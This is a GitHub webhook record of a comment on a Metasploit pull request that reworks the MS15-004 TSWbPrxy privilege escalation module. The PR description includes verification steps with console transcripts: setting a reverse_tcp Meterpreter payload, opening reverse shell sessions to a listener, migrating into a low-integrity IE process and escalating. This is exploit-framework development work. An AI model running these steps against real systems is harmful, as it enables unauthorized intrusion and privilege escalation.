{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5896","id":103360247,"number":5896,"title":"Update ms15_004_tswbproxy to use a Reflective DLL","user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/enhancement","name":"enhancement","color":"5319e7"},{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"closed","locked":false,"assignee":{"login":"wchen-r7","id":1170914,"avatar_url":"https://avatars.githubusercontent.com/u/1170914?v=3","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":3,"created_at":"2015-08-26T20:46:04Z","updated_at":"2015-08-27T22:25:22Z","closed_at":"2015-08-27T22:11:56Z","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5896","html_url":"https://github.com/rapid7/metasploit-framework/pull/5896","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5896.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5896.patch"},"body":"ms15_004_tswbproxy was using the old \"from memory\" meterpreter library loader because IE elevation policies aren't applied to Reflective DLLs. This PR is an exercise to allow a reflective DLL to be hijacked with the IE Shims, so the elevation policies apply, and the library can be used to exploits bugs as the MS15-004 one.\r\n\r\n(As a design decision everything has been coded into the Reflective DLL, the intention is not to modify the reflective loader).\r\n\r\nVerification\r\n--------------\r\n- [x] Install a Windows 7 SP1 target. I've tested with IE11. But really you just need a target were the ms15_004_tswbproxy used to work.\r\n- [x] Get a meterpreter session on the target.\r\n\r\n```\r\nmsf > use exploit/multi/handler\r\nmsf exploit(handler) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf exploit(handler) > set lhost 172.16.158.1\r\nlhost => 172.16.158.1\r\nmsf exploit(handler) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] Starting the payload handler...\r\n[*] Sending stage (885806 bytes) to 172.16.158.131\r\n[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:51041) at 2015-08-26 15:28:01 -0500\r\n\r\n```\r\n\r\n- [x] Migrate to an IE Low Privileged renderer.\r\n\r\n```\r\nmeterpreter > migrate 3500\r\n[*] Migrating from 2708 to 3500...\r\n;[*] Migration completed successfully.\r\nmeterpreter > background\r\n[*] Backgrounding session 1...\r\n```\r\n\r\n- [x] Run the ms15_004_tswbproxy on the session\r\n\r\n```\r\nmsf exploit(handler) > use exploit/windows/local/ms15_004_tswbproxy\r\nmsf exploit(ms15_004_tswbproxy) > set session 1\r\nsession => 1\r\nmsf exploit(ms15_004_tswbproxy) > set payload windows/meterpreter/reverse_tcp\r\npayload => windows/meterpreter/reverse_tcp\r\nmsf exploit(ms15_004_tswbproxy) > set lhost 172.16.158.1\r\nlhost => 172.16.158.1\r\nmsf exploit(ms15_004_tswbproxy) > rexploit\r\n[*] Reloading module...\r\n\r\n[*] Started reverse handler on 172.16.158.1:4444\r\n[*] Checking target...\r\n[*] Checking the Process Integrity Level...\r\n[*] Storing payload on environment variable...\r\n[*] Exploiting...\r\n[*] Injecting exploit into 3500...\r\n[*] Payload injected. Executing exploit...\r\n[*] Sending stage (885806 bytes) to 172.16.158.131\r\n[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.131:51042) at 2015-08-26 15:28:44 -0500\r\n\r\nmeterpreter > getpid\r\nCurrent pid: 3232\r\nmeterpreter > exit\r\n[*] Shutting down Meterpreter...\r\n\r\n[*] 172.16.158.131 - Meterpreter session 2 closed.  Reason: User exit\r\n```\r\n\r\n- [x] Verify which you get a new session on a Medium Integrity Process.\r\n\r\n![pr](https://cloud.githubusercontent.com/assets/1742838/9505704/8df05b76-4c09-11e5-9e99-e10b38a4ce90.png)\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/135573114","html_url":"https://github.com/rapid7/metasploit-framework/pull/5896#issuecomment-135573114","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5896","id":135573114,"user":{"login":"jvazquez-r7","id":1742838,"avatar_url":"https://avatars.githubusercontent.com/u/1742838?v=3","gravatar_id":"","url":"https://api.github.com/users/jvazquez-r7","html_url":"https://github.com/jvazquez-r7","followers_url":"https://api.github.com/users/jvazquez-r7/followers","following_url":"https://api.github.com/users/jvazquez-r7/following{/other_user}","gists_url":"https://api.github.com/users/jvazquez-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jvazquez-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jvazquez-r7/subscriptions","organizations_url":"https://api.github.com/users/jvazquez-r7/orgs","repos_url":"https://api.github.com/users/jvazquez-r7/repos","events_url":"https://api.github.com/users/jvazquez-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jvazquez-r7/received_events","type":"User","site_admin":false},"created_at":"2015-08-27T22:25:22Z","updated_at":"2015-08-27T22:25:22Z","body":"Thanks @wchen-r7 !"}}